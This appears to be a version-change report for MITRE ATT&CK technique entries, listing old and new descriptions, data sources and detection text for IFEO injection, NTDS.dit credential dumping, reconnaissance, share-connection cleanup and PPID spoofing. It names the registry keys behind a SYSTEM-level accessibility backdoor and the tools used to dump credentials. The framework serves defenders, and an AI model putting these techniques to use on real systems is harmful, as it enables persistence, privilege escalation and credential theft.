IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) |
| external_references[6]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
| x_mitre_detection | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process monitoring |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:25:12.727000+00:00 | 2021-04-24 13:59:12.787000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:43:42.450000+00:00 | 2021-01-13 15:56:04.897000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Sensor health and status | Command: Command Execution |
| x_mitre_defense_bypassed[0] | Host intrusion prevention systems | Anti-virus |
| x_mitre_defense_bypassed[1] | Anti-virus | Host intrusion prevention systems |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Anti-virus |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:31:35.760000+00:00 | 2021-08-24 18:21:08.497000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows event logs | Driver: Driver Load |
| x_mitre_data_sources[2] | User interface | Process: OS API Execution |
| x_mitre_data_sources[3] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[4] | Process monitoring | File: File Modification |
| x_mitre_data_sources[5] | PowerShell logs | Process: Process Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Kernel drivers | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:50:36.235000+00:00 | 2021-03-30 00:51:58.454000+00:00 |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[3] | Binary file metadata | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:35:42.440000+00:00 | 2021-04-21 21:12:38.361000+00:00 |
| external_references[4]['url'] | ttps://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets | https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets |
| x_mitre_data_sources[0] | Process monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[1] | PowerShell logs | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access or create a copy of the Ac | t | 1 | Adversaries may attempt to access or create a copy of the Ac |
| > | tive Directory domain database in order to steal credential | > | tive Directory domain database in order to steal credential | ||
| > | information, as well as obtain other information about domai | > | information, as well as obtain other information about domai | ||
| > | n members such as devices, users, and access rights. By defa | > | n members such as devices, users, and access rights. By defa | ||
| > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | ||
| > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | ||
| > | kipedia Active Directory) In addition to looking NTDS files | > | kipedia Active Directory) In addition to looking for NTDS f | ||
| > | on active Domain Controllers, attackers may search for back | > | iles on active Domain Controllers, attackers may search for | ||
| > | ups that contain the same or similar information.(Citation: | > | backups that contain the same or similar information.(Citati | ||
| > | Metcalf 2015) The following tools and techniques can be use | > | on: Metcalf 2015) The following tools and techniques can be | ||
| > | d to enumerate the NTDS file and the contents of the entire | > | used to enumerate the NTDS file and the contents of the ent | ||
| > | Active Directory hashes. * Volume Shadow Copy * secretsdump | > | ire Active Directory hashes. * Volume Shadow Copy * secrets | ||
| > | .py * Using the in-built Windows tool, ntdsutil.exe * Invoke | > | dump.py * Using the in-built Windows tool, ntdsutil.exe * In | ||
| > | -NinjaCopy | > | voke-NinjaCopy | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:39:39.949000+00:00 | 2020-12-14 23:08:02.782000+00:00 |
| description | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
| Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
|
| x_mitre_data_sources[0] | Windows event logs | File: File Access |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | PowerShell logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network security appliances that can | > | k security appliances that can be used during targeting. Inf | ||
| > | be used during targeting. Information about network securit | > | ormation about network security appliances may include a var | ||
| > | y appliances may include a variety of details, such as the e | > | iety of details, such as the existence and specifics of depl | ||
| > | xistence and specifics of deployed firewalls, content filter | > | oyed firewalls, content filters, and proxies/bastion hosts. | ||
| > | s, and proxies/bastion hosts. Adversaries may also target in | > | Adversaries may also target information about victim network | ||
| > | formation about victim network-based intrusion detection sys | > | -based intrusion detection systems (NIDS) or other appliance | ||
| > | tems (NIDS) or other appliances related to defensive cyberse | > | s related to defensive cybersecurity operations. Adversarie | ||
| > | curity operations. Adversaries may gather this information | > | s may gather this information in various ways, such as direc | ||
| > | in various ways, such as direct collection actions via [Acti | > | t collection actions via [Active Scanning](https://attack.mi | ||
| > | ve Scanning](https://attack.mitre.org/techniques/T1595) or [ | > | tre.org/techniques/T1595) or [Phishing for Information](http | ||
| > | Phishing for Information](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1598).(Citation: Nmap Firew | ||
| > | s/T1598).(Citation: Nmap Firewalls NIDS) Information about n | > | alls NIDS) Information about network security appliances may | ||
| > | etwork security appliances may also be exposed to adversarie | > | also be exposed to adversaries via online or other accessib | ||
| > | s via online or other accessible data sets (ex: [Search Vict | > | le data sets (ex: [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)). Gathering this information | ||
| > | )). Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Technical Da | > | (ex: [Search Open Technical Databases](https://attack.mitre. | ||
| > | tabases](https://attack.mitre.org/techniques/T1596) or [Sear | > | org/techniques/T1596) or [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133)). | > | niques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:13.578000+00:00 | 2021-04-15 03:31:54.275000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may remove share connections that are no longer | t | 1 | Adversaries may remove share connections that are no longer |
| > | useful in order to clean up traces of their operation. Windo | > | useful in order to clean up traces of their operation. Windo | ||
| > | ws shared drive and [Windows Admin Shares](https://attack.mi | > | ws shared drive and [SMB/Windows Admin Shares](https://attac | ||
| > | tre.org/techniques/T1077) connections can be removed when no | > | k.mitre.org/techniques/T1021/002) connections can be removed | ||
| > | longer needed. [Net](https://attack.mitre.org/software/S003 | > | when no longer needed. [Net](https://attack.mitre.org/softw | ||
| > | 9) is an example utility that can be used to remove network | > | are/S0039) is an example utility that can be used to remove | ||
| > | share connections with the <code>net use \\system\share /del | > | network share connections with the <code>net use \\system\sh | ||
| > | ete</code> command. (Citation: Technet Net Use) | > | are /delete</code> command. (Citation: Technet Net Use) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-31 12:39:18.816000+00:00 | 2021-02-09 13:31:01.970000+00:00 |
| description | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Packet capture | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process monitoring | User Account: User Account Authentication |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network topology that can be used du | > | k topology that can be used during targeting. Information ab | ||
| > | ring targeting. Information about network topologies may inc | > | out network topologies may include a variety of details, inc | ||
| > | lude a variety of details, including the physical and/or log | > | luding the physical and/or logical arrangement of both exter | ||
| > | ical arrangement of both external-facing and internal networ | > | nal-facing and internal network environments. This informati | ||
| > | k environments. This information may also include specifics | > | on may also include specifics regarding network devices (gat | ||
| > | regarding network devices (gateways, routers, etc.) and othe | > | eways, routers, etc.) and other infrastructure. Adversaries | ||
| > | r infrastructure. Adversaries may gather this information i | > | may gather this information in various ways, such as direct | ||
| > | n various ways, such as direct collection actions via [Activ | > | collection actions via [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [P | > | re.org/techniques/T1595) or [Phishing for Information](https | ||
| > | hishing for Information](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1598). Information about net | ||
| > | /T1598). Information about network topologies may also be ex | > | work topologies may also be exposed to adversaries via onlin | ||
| > | posed to adversaries via online or other accessible data set | > | e or other accessible data sets (ex: [Search Victim-Owned We | ||
| > | s (ex: [Search Victim-Owned Websites](https://attack.mitre.o | > | bsites](https://attack.mitre.org/techniques/T1594)).(Citatio | ||
| > | rg/techniques/T1594)).(Citation: DNS Dumpster) Gathering thi | > | n: DNS Dumpster) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Search Open | ||
| > | connaissance (ex: [Search Open Technical Databases](https:// | > | Technical Databases](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1596) or [Search Open Websites/ | > | 596) or [Search Open Websites/Domains](https://attack.mitre. | ||
| > | Domains](https://attack.mitre.org/techniques/T1593)), establ | > | org/techniques/T1593)), establishing operational resources ( | ||
| > | ishing operational resources (ex: [Acquire Infrastructure](h | > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | ||
| > | rastructure](https://attack.mitre.org/techniques/T1584)), an | > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | ||
| > | d/or initial access (ex: [External Remote Services](https:// | > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1133)). | > | 133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:40.188000+00:00 | 2021-04-15 03:33:02.476000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network trust dependencies that can | > | k trust dependencies that can be used during targeting. Info | ||
| > | be used during targeting. Information about network trusts m | > | rmation about network trusts may include a variety of detail | ||
| > | ay include a variety of details, including second or third-p | > | s, including second or third-party organizations/domains (ex | ||
| > | arty organizations/domains (ex: managed service providers, c | > | : managed service providers, contractors, etc.) that have co | ||
| > | ontractors, etc.) that have connected (and potentially eleva | > | nnected (and potentially elevated) network access. Adversar | ||
| > | ted) network access. Adversaries may gather this informatio | > | ies may gather this information in various ways, such as dir | ||
| > | n in various ways, such as direct elicitation via [Phishing | > | ect elicitation via [Phishing for Information](https://attac | ||
| > | for Information](https://attack.mitre.org/techniques/T1598). | > | k.mitre.org/techniques/T1598). Information about network tru | ||
| > | Information about network trusts may also be exposed to adv | > | sts may also be exposed to adversaries via online or other a | ||
| > | ersaries via online or other accessible data sets (ex: [Sear | > | ccessible data sets (ex: [Search Open Technical Databases](h | ||
| > | ch Open Technical Databases](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1596)).(Citation: Pentes | ||
| > | ques/T1596)).(Citation: Pentesting AD Forests) Gathering thi | > | ting AD Forests) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Search | ||
| > | /techniques/T1595) or [Search Open Websites/Domains](https:/ | > | Open Websites/Domains](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1593)), establishing operation | > | 1593)), establishing operational resources (ex: [Acquire Inf | ||
| > | al resources (ex: [Acquire Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1583) or [ | ||
| > | tre.org/techniques/T1583) or [Compromise Infrastructure](htt | > | Compromise Infrastructure](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1584)), and/or initial acc | > | es/T1584)), and/or initial access (ex: [Trusted Relationship | ||
| > | ess (ex: [Trusted Relationship](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1199)). | ||
| > | hniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:05:03.816000+00:00 | 2021-04-15 03:34:22.917000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may spoof the parent process identifier (PPID) o | t | 1 | Adversaries may spoof the parent process identifier (PPID) o |
| > | f a new process to evade process-monitoring defenses or to e | > | f a new process to evade process-monitoring defenses or to e | ||
| > | levate privileges. New processes are typically spawned direc | > | levate privileges. New processes are typically spawned direc | ||
| > | tly from their parent, or calling, process unless explicitly | > | tly from their parent, or calling, process unless explicitly | ||
| > | specified. One way of explicitly assigning the PPID of a ne | > | specified. One way of explicitly assigning the PPID of a ne | ||
| > | w process is via the <code>CreateProcess</code> API call, wh | > | w process is via the <code>CreateProcess</code> API call, wh | ||
| > | ich supports a parameter that defines the PPID to use.(Citat | > | ich supports a parameter that defines the PPID to use.(Citat | ||
| > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | ||
| > | ty is used by Windows features such as User Account Control | > | ty is used by Windows features such as User Account Control | ||
| > | (UAC) to correctly set the PPID after a requested elevated p | > | (UAC) to correctly set the PPID after a requested elevated p | ||
| > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | ||
| > | </code> or <code>consent.exe</code>) rather than the current | > | </code> or <code>consent.exe</code>) rather than the current | ||
| > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | ||
| > | s may abuse these mechanisms to evade defenses, such as thos | > | s may abuse these mechanisms to evade defenses, such as thos | ||
| > | e blocking processes spawning directly from Office documents | > | e blocking processes spawning directly from Office documents | ||
| > | , and analysis targeting unusual/potentially malicious paren | > | , and analysis targeting unusual/potentially malicious paren | ||
| > | t-child process relationships, such as spoofing the PPID of | > | t-child process relationships, such as spoofing the PPID of | ||
| > | [PowerShell](https://attack.mitre.org/techniques/T1086)/[Run | > | [PowerShell](https://attack.mitre.org/techniques/T1059/001)/ | ||
| > | dll32](https://attack.mitre.org/techniques/T1085) to be <cod | > | [Rundll32](https://attack.mitre.org/techniques/T1218/011) to | ||
| > | e>explorer.exe</code> rather than an Office document deliver | > | be <code>explorer.exe</code> rather than an Office document | ||
| > | ed as part of [Spearphishing Attachment](https://attack.mitr | > | delivered as part of [Spearphishing Attachment](https://att | ||
| > | e.org/techniques/T1566/001).(Citation: CounterCept PPID Spoo | > | ack.mitre.org/techniques/T1566/001).(Citation: CounterCept P | ||
| > | fing Dec 2018) This spoofing could be executed via [Visual B | > | PID Spoofing Dec 2018) This spoofing could be executed via [ | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) within | > | Visual Basic](https://attack.mitre.org/techniques/T1059/005) | ||
| > | a malicious Office document or any code that can perform [Na | > | within a malicious Office document or any code that can per | ||
